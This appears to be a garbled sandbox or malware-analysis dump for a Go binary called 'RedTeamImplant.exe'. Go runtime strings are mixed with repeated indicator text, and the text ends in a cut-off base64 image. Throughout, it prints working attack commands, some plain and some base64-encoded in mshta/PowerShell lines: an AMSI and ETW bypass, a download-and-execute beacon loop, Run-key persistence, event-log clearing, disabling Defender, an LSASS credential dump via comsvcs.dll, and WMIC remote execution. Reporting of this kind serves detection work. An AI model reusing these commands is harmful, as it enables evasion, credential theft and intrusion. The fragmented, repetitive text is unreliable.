does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int"; File: "RedTeamImplant.exe")8b:T44e,file/memory contains long string with (Indicator: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 %WINDIR%\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte"; File: "RedTeamImplant.exe")8c:T7fc,file/memory contains long string with (Indicator: "rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"; File: "RedTeamImplant.exe"), file/memory contains long string with (Indicator: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int"; File: "RedTeamImplant.exe")8d:Tbfd,"lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineruntime: CreateIoCompletionPort failed (errno= racy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argumentruntime: waitforsingleobject unexpected; result=CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeruntime: taggedPointerPack invalid packing: ptr=attempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=net stop WinDefend;net stop wscsvc;" (Indicator: "wscsvc") in Source: RedTeamImplant.exe "rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899" (Indicator: "wscsvc") in Source: RedTeamImplant.exe "lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineruntime: CreateIoCompletionPort failed (errno= racy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argumentruntime: waitforsingleobject unexpected; result=CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeruntime: taggedPointerPack invalid packing: ptr=attempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=net stop WinDefend;net stop wscsvc" (Indicator: "wscsvc") in Source: RedTeamImplant.exe8e:T435,"lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineruntime: CreateIoCompletionPort failed (errno= racy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argumentruntime: waitforsingleobject unexpected; result=CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeruntime: taggedPointerPack invalid packing: ptr=attempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=net stop WinDefend;net stop wscsvc;" (Indicator: "wscsvc") in Source: RedTeamImplant.exe8f:T434,"lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineruntime: CreateIoCompletionPort failed (errno= racy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argumentruntime: waitforsingleobject unexpected; result=CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeruntime: taggedPointerPack invalid packing: ptr=attempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=net stop WinDefend;net stop wscsvc" (Indicator: "wscsvc") in Source: RedTeamImplant.exe90:T435,"lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineruntime: CreateIoCompletionPort failed (errno= racy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argumentruntime: waitforsingleobject unexpected; result=CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeruntime: taggedPointerPack invalid packing: ptr=attempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=net stop WinDefend;net stop wscsvc;" (Indicator: "wscsvc") in Source: RedTeamImplant.exe91:T434,"lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineruntime: CreateIoCompletionPort failed (errno= racy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesstrconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argumentruntime: waitforsingleobject unexpected; result=CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeruntime: taggedPointerPack invalid packing: ptr=attempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=net stop WinDefend;net stop wscsvc" (Indicator: "wscsvc") in Source: RedTeamImplant.exe92:Tb68,Spawned process "RedTeamImplant.exe" (UID: 00000000-00007844) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9\\" 0 False(window.close)"" (UID: 00000000-00007932) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7SUVYKCR3Yy5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMTo4MDgwL2JlYWNvbi5wczEnKSl9Y2F0Y2h7fTtTdGFydC1TbGVlcCAtcyAzMH0=\\" 0 False(window.close)"" (UID: 00000000-00004164) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZg==\\" 0 False(window.close)"" (UID: 00000000-00008072) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2wgIiRfIn07bmV0IHN0b3AgV2luRGVmZW5kO25ldCBzdG9wIHdzY3N2YztTZXQtTXBQcmVmZXJlbmNlIC1EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nICR0cnVl\\" 0 False(window.close)"" (UID: 00000000-00009000) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0zMlxjb21zdmNzLmRsbCwgTWluaUR1bXAgKEdldC1Qcm9jZXNzIGxzYXNzKS5JZCBOVUwgZnVsbA==\\" 0 False(window.close)"" (UID: 00000000-00005204) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mbw==\\" 0 False(window.close)"" (UID: 00000000-00002396) Spawned process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCIgcHJvY2VzcyBjYWxsIGNyZWF0ZSAiY21kIC9jIHdob2FtaSA+IFxcXFwxOTIuMTY4LjEuMTAwXFxBRE1JTiRcXHgudHh0Ig==\\" 0 False(window.close)"" (UID: 00000000-00000688) Spawned process "mshta.exe" with commandline "javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(window.close)" (UID: 00000000-00002204)93:T103d4,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